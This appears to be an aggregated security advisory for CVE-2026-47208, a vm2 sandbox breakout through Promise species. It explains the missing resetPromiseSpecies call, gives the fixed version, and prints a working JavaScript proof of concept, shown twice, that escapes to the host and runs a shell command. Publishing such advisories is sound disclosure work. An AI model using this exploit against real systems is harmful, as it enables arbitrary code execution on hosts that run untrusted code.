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10.0
CVE-2026-47208: vm2 Sandbox Breakout Through Promise Species
GHSA-76w7-j9cq-rx2j
CVE-2026-47208
Summary
The vm2 sandbox can be broken, allowing attackers to execute arbitrary commands on the host system. This vulnerability affects the vm2 JavaScript sandboxing library, which is used to safely run untrusted code. To protect your system, ensure that you are running the latest version of vm2 and consider using alternative sandboxing solutions.
What to do
- Update GitHub Actions vm2 to version 3.11.4.
Affected software
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| npm | GitHub Actions | vm2 |
<= 3.11.3 Fix: upgrade to 3.11.4
|
Original title
vm2 is Vulnerable to Sandbox Breakout Through Promise Species
Original description
### Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
### Details
The `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.
### PoC
```js
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
class E extends Error {}
function so(d) {
if (d > 0) so(d-1);
const e = new E();
e.stack;
throw e;
}
let ex, ct;
class FakePromise extends Promise {
static get [Symbol.species](){return ct;}
}
function doCatch(f) {
ex=undefined;
const p=Promise.withResolvers();
ct = function(e){e(f, v=>{ex=v;p.resolve();})};
new FakePromise(r=>r());
return p.promise;
}
(async function f(s) {
let min = s;
let max = 100000;
while (min<max) {
const mid = (min+max)>>1;
await doCatch(()=>so(mid));
if (ex.name==="RangeError" && !(ex instanceof RangeError)) {
ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
return;
}
if (ex instanceof E) {
min = mid+1;
} else {
max = mid;
}
}
f(s+1);
})(0);
`);
```
### Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
### Details
The `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.
### PoC
```js
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
class E extends Error {}
function so(d) {
if (d > 0) so(d-1);
const e = new E();
e.stack;
throw e;
}
let ex, ct;
class FakePromise extends Promise {
static get [Symbol.species](){return ct;}
}
function doCatch(f) {
ex=undefined;
const p=Promise.withResolvers();
ct = function(e){e(f, v=>{ex=v;p.resolve();})};
new FakePromise(r=>r());
return p.promise;
}
(async function f(s) {
let min = s;
let max = 100000;
while (min<max) {
const mid = (min+max)>>1;
await doCatch(()=>so(mid));
if (ex.name==="RangeError" && !(ex instanceof RangeError)) {
ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
return;
}
if (ex instanceof E) {
min = mid+1;
} else {
max = mid;
}
}
f(s+1);
})(0);
`);
```
### Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
ghsa CVSS3.1
10.0
Vulnerability type
CWE-913
Published: 29 May 2026 · Updated: 29 May 2026 · First seen: 29 May 2026